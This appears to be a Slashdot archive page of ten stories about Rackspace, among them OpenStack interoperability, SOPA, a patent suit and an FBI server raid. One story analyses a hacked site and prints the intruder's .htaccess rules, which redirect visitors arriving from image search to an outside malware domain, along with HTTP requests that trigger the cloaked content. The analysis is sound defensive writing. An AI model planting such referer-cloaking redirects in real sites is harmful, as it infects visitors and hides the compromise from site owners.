Domain: rackspace.com
Stories and comments across the archive that link to rackspace.com.
Stories · 10
-
OpenStack To Crack Down On Incompatible Clouds
itwbennett writes "OpenStack is calling shenanigans on companies that call their services OpenStack but aren't truly interoperable. (HP, Rackspace, we're looking at you.) Josh McKenty, CTO of Piston and an OpenStack Foundation board member said that the board has 're-fired up' the interoperability working group, and though he admits it will take some time before the hammer falls, he called out HP and Rackspace as two offenders: 'Neither of their public clouds could be called OpenStack under current interoperability guidelines,' he said. For their part, HP has denied the claims, while Rackspace said in a blog post that it is on track for interoperability by the end of the year." -
Patent Troll Goes After Facebook, Apple, Microsoft, Yahoo, IBM, Others
zaba writes "A company named PersonalWeb Technologies has decided to sue a host of heavy players in the tech industry, including Apple, Facebook, IBM, Microsoft and Yahoo! for patents it holds related to data processing. They have a previous suit against other big names like Amazon, Google and HP. Anyone care to guess where the company is based or where the suits were filed?" The company is also targeting GitHub, but seems to have accidentally sued Rackspace — GitHub's host — instead. Rackspace has responded, saying, "It’s apparent that the people filing the suit don’t understand the technology or the products enough to realize that Rackspace Cloud Servers and GitHub are completely different products from different companies." -
Rackspace: SOPA "Is a Deeply Flawed Piece of Legislation"
hypnosec writes "Cloud-based hosting service provider Rackspace has joined the ever expanding list of companies that are opposed to the U.S. Stop Online Piracy Act (SOPA). In a blog post, Rackspace CEO Lanham Napier said that the controversial bill, which will get its final vote before the House Judiciary Committee, will do more harm than good, punishing innocent users in the process. 'The SOPA bill, as it stands, is a deeply flawed piece of legislation. It is bad for anyone who uses the Internet, including Rackspace, the more than 160,000 business customers that we serve, and the tens of millions of retail customers that they serve. It is bad for job creation and innovation,' Napier wrote." -
Texas and Taxes: Is a Server a Business Presence?
1sockchuck writes "Does having a server in a data center give you an official business presence in the state where the data center is located – invoking the requirement to collect state taxes? Not in Texas anymore, thanks to a new bill, which clarified a ruling that would have required hosting companies leasing servers in Texas to collect state sales tax from their customers. That's a big deal, since Texas is home to many of the industry's largest hosting companies — including Rackspace and SoftLayer, who have comments on the issue." -
Rackspace Shuts Down Quran-Burning Church's Sites
theodp writes "In response to a complaint, Rackspace has shut down the websites of the Dove World Outreach Center, a small 50-member church which has received national and international criticism for a planned book burning of the Quran on the anniversary of the 9-11 attacks. The center 'violated the hate-speech provision of our acceptable-use policy,' explained Rackspace spokesman Dan Goodgame. 'This is not a constitutional issue. This is a contract issue,' said Goodgame, who added he did not know how long it had hosted the church's sites. Not quite the same thing, but would Kurt Westergaard's cartoons of the Prophet Muhammad also violate Rackspace's AUP? How about Christopher Hitchens' Slate articles? Could articles from one-time Rackspace poster child The Onion pass muster?" -
Rackspace Releases Cloud Stack As Open Source
zerocool^ writes "Techcrunch is reporting that Rackspace is open-sourcing their cloud computing technologies, under the name OpenStack. Rackspace has chosen to release under the Apache 2.0 license. The initial release encompasses the cloud object storage and cloud virtual server management suites. Along with this release, NASA is contributing technology from its Nebula Cloud Platform. Early partners include Intel, Dell, and Citrix." -
Image Searchers Snared By Malware
Slashdot frequent contributor Bennett Haselton writes "Sites that have been hacked by malware writers are now serving infected content only when the visitor views the site through a frame on Google Images. This recent twist on a standard trick used by malware writers, makes it harder for webmasters and hosting companies to discover that their sites have been infected. Automated tools that check websites for infections and training procedures for hosting company abuse-department staffers will have to be updated accordingly." Read on for the rest of Bennett's thoughts.A friend of mine recently e-mailed a discussion list with an interesting query. Stonewall Ballard had searched on "tradingbloxlogo" on Google Images, which led to the results on this page. Clicking on the first result, an image from the tradingblox.com site, took him to this page, with the Google information header at the top, and loading the http://www.tradingblox.com/tradingblox/courses.htm page in a frame in the bottom half of the browser window. When that page was loaded in that bottom frame, Internet Explorer and Firefox would both flash warnings about the page being infected with malware. But if you loaded the http://www.tradingblox.com/tradingblox/courses.htm page in a normal Web browser window by itself, the browser would not display any warning, and checking the site using Google's malware query form returned a result saying the site was not suspicious. Why the differing results?
It turned out that the tradingblox.com had been hacked, and pages had been installed onto the server that would serve malware in an unusual way: If the page was being viewed in a frame loaded from Google Images, or as as result of a click through from Google Images, then the page would serve content that attempted to infect the user's computer with malware. On the other hand, if the page was viewed normally (as a result of typing the page into your browser), the malware-loading code would not be served. That means if you were to telnet to port 80 on the www.tradingblox.com server, and request a page as follows:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.comthen the normal page would be returned. But if you entered these commands:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
Referer: http://images.google.com/then you would get the malware-infected page. (The webmaster has since fixed the problem, so that the latter request will no longer get the malware code.) The webserver would only serve the infected content if "images.google.com" was sent specifically as the referrer; "www.google.com" by itself would not trigger the result.
(For the uninitiated, when you click a link from one page to another, for example if you were reading an article on CNN.com which had a link to http://www.google.com/support/ and you clicked on that link, then when your browser requested the file "/support/" from the www.google.com server, it would send the request as follows:
GET /support/ HTTP/1.1
Host: www.google.com
Referer: http://www.cnn.com/article.url.goes.here/So the webmasters of www.google.com can see what links people are clicking from other websites to reach the www.google.com site. Many sites use this to track which links from other pages, including advertisements that they've bought on other sites, are sending them the most traffic.)
Denis Sinegubko, owner of the website malware-infection checking site UnmaskParasites.com, says that he had seen pages before which would serve infected content if www.google.com itself were listed in the Referer: field. However, this was the first instance he'd seen where the content was only served if images.google.com was specifically listed as the Referer. Since no malware distributor would manually break into just one website to compromise it in this exact manner, it's extremely likely that there are many more sites that are infected in the same way. Stonewall Ballard noted that the Google Safe Browsing lookup for the hosting company where tradingblox.com is hosted, showed a high number of other sites on the same network that had been infected recently. (And those are only the infected sites that Google knows about -- recall that Google didn't even know that tradingblox.com was infected.)
Obviously, from the malware author's point of view, the point of serving malware content only some of the time rather than all of the time, is to make it harder for webmasters to pinpoint the problem. Someone gets the malware warning after following a link or loading a page via Google Images, and sends the webmaster an e-mail saying, "I got infected by your webpage, here is the link." The webmaster views the link and says, "I don't know what you're talking about, there's no malware code on that page." It also makes it harder for automated site-checking tools to detect the infection. Google's Safe Browsing lookup tool reported the site as uninfected, and Sinegubko's site-checking tool on UnmaskParasites.com also reported no malware infections on tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modify his site-checking script so that in addition to the other checks it performs, it will attempt to request a page sending "http://images.google.com/" in the "Referer:" field, to see if that results in different content being served. Google's Safe Browsing spider should do the same.)
Sinegubko said he's also seen instances where hacked sites would cover their tracks even further, by refusing to display infected content if the Referer: link from Google contained "inurl:domainname.com" or "site:domainname.com". This is because webmasters would sometimes check if their site was serving infected content in response to a click from Google, by doing a Google search on their own domainname.com, and following the link back to their site. By not serving the infected content in that case, the malware infection becomes even harder to detect.
This also makes it harder to report the exploits to the hosting companies that host infected websites. In case the webmaster of the infected site doesn't respond to complaints that their site is infected, sometimes you have to contact the hosting company and ask them to forcibly take the website offline until the problem is fixed. And I have been hosted by several companies where the tech support and abuse departments were (just barely) competent enough that if I called them up and said, "Your customer is hosting a malware-infected webpage, go to this page and view the source code, and you can see the malicious code", they would have known what to do. But if I'd had to tell them to follow the steps above -- "telnet to port 80" on the infected website, and type a few lines to mimic the process of a browser sending HTTP request headers to the website -- I probably would have lost them at "telnet". (Recall an experiment wherein I e-mailed some hosting companies from a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them, and about half of the hosting companies agreed to switch the domain nameservers -- essentially, transferring the entire website to an unknown third party -- without ever authenticating that it was really me writing from that Hotmail account. Which means anybody could have taken over those websites simply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)
Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original report about the malware-infected pages, and found that an intruder had hacked the site on November 30th and inserted these lines into an .htaccess file:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://search-box.in/in.cgi?4¶meter=u [R,L]
<Files 403.shtml>
order allow,deny
allow from all
</Files>which resulted in the infected pages being served whenever a user loaded the site via Google Images. (So if you found this article because you think your own site might be infected by malware that serves pages conditionally on the Referer: field, that's the first place to look to fix the problem!)
It's uncertain how Arnold's site got infected in the first place, but Sinegubko had earlier said that almost 90% of breakins in 2009 that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people's Windows PCs and stealing the passwords that people used to administer their sites. Or the site could have been compromised via a WordPress exploit such as this one. As I always tell anyone who will listen, if you want to keep your Linux-hosted website from being broken into, one of the most frequently overlooked precautions that you need to take is to keep your Windows PC free of spyware.
But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticated techniques to prevent the infection from being discovered. Abuse report handlers will have to be trained to understand what it means that a website is only showing infected content as a result of a "Referer:" header, and ideally should know enough about networking and command-line tools, to be able to mimic the "telnet" instructions above. (Most expensive dedicated hosting companies like RackSpace, do have technical staff who are at least that knowledgeable. But cheap shared hosting companies -- the kind where you can get your domain transferred to another company by sending an e-mail from an unauthenticated Hotmail account -- will have to train their abuse staff better.) Automated site-checking tools like Google's Safe Browsing spider and UnmaskParasites.com's site checker will have to start taking these attacks into account when checking a site for infection.
And as always, keeping your PC free of spyware, shouldn't be viewed just as a convenience to yourself, but as an obligation to your neighbors as well. (A case of the positive/negative externalities problem in economics.) You wouldn't send your kid to school with the flu, so why did you get your Mom on the Internet without buying her some anti-virus software?
-
Indymedia Server Raided by FBI
jaromil writes "Today at about 18:00 CET FBI raided the indymedia servers hosted by Rackspace both in US and England. At present, the italian indymedia and numerous other local IMC websites are obscured, while the reasons why the hard drives were taken are still unknown." -
Live Chat Salespeople On Web Sites
burgburgburg writes "Forbes.com has an interesting article on how one web site is bringing all of the fun of salespeople suddenly appearing and offering to "help" to the web. It seems that Rackspace Managed Hosting tracks you by your IP number when you arrive. After 30 seconds on the site, a Java applet pops up with a photo of a sales person and a live chat offer to assist you in your efforts. According to Rackspace's co-chairman, one-third of users approached via chat engage in conversation with a salesperson, and half of those take the discussion to the next level. Furthermore, according to him, nearly 50% of new customers have originated from the chat feature. They have 6 salespeople watching the site in shifts for 20 hours a day." -
Managed Co-location For Debian Boxen?
Eugene Cabanopscotch writes: "I run a Web-hosting company that is seriously looking at managed co-location in the U.S. as a means to get content to overseas clients without the delays of using NZ's congested international links. I clicked through from the popular Slashdot banner ad Rackspace.com and also checked out digitalNATION and saw that they offer managed RedHat boxen. Now, not wanting to start any sort of holy flame war or anything (moderators, start your engines) I thought "that's great and all, but I want a Debian GNU/Linux box" so I quickly fired off a couple of e-mails to the listed e-mail addresses asking whether they would be willing to install and manage a Debian box. I got back flat refusals to manage Debian machines. Does anyone know of a managed co-location provider that is willing to work with Debian?" I find it odd that places will restrict co-locations to specific distributions of Linux. It's not that hard to manage a Red Hat and a Debian box, is it?